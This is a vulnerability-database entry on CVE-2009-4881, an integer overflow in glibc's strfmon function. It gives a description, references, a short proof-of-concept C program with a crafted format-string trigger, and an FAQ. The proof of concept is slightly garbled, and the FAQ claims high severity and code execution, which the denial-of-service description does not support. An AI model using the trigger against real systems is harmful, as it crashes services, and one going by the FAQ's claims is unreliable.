CVE-2009-4881: Integer Overflow
Common Vulnerabilities and Exposures assigned an identifier CVE-2009-4881 to the following vulnerability:
Integer overflow in the vstrfmonl function in stdlib/strfmonl.c in the strfmon implementation in the GNU C Library (aka glibc or libc6) before 2.10.1 allows context-dependent attackers to cause a denial of service (application crash) via a crafted format string, as demonstrated by the %99999999999999999999n string, a related issue to CVE-2008-1391.
References: [1] http://sources.redhat.com/bugzilla/showbug.cgi?id=10600 [2] http://sourceware.org/git/?p=glibc.git;a=commit;h=153aa31b93be22e01b236375fb02a9f9b9a0195f [3] http://sources.redhat.com/bugzilla/showbug.cgi?id=10600 [4] http://securityreason.com/achievementsecurityalert/53 [5] http://xorl.wordpress.com/2009/04/11/cve-2008-1391-netbsd-strfmon-integer-overflow/
Public PoC (from [4]):
#include <stdio.h> #include <monetary.h>
int main(int argc, char argv[]){ char buff[51]; char bux=buff; int res;
res=strfmon(bux, 50, argv[1], "0"); return 0; }
cxib# ./pln %99999999999999999999n
Affected Software
Remediation
Event History
Frequently Asked Questions
What is the severity of CVE-2009-4881?
CVE-2009-4881 is classified as a high severity vulnerability due to its potential for integer overflow leading to security implications.
How do I fix CVE-2009-4881?
To remediate CVE-2009-4881, you should update the GNU C Library (glibc) to the latest version that has addressed this vulnerability.
Which versions of GNU C Library are affected by CVE-2009-4881?
CVE-2009-4881 affects multiple versions of GNU C Library, including 1.00 to 2.9, with specific vulnerabilities in versions 2.0 to 2.8.
What type of vulnerability is CVE-2009-4881?
CVE-2009-4881 is categorized as an integer overflow vulnerability found in the strfmon implementation of the GNU C Library.
What are the potential impacts of CVE-2009-4881 if exploited?
If exploited, CVE-2009-4881 may allow attackers to execute arbitrary code or cause unexpected behavior in applications that utilize the affected glibc versions.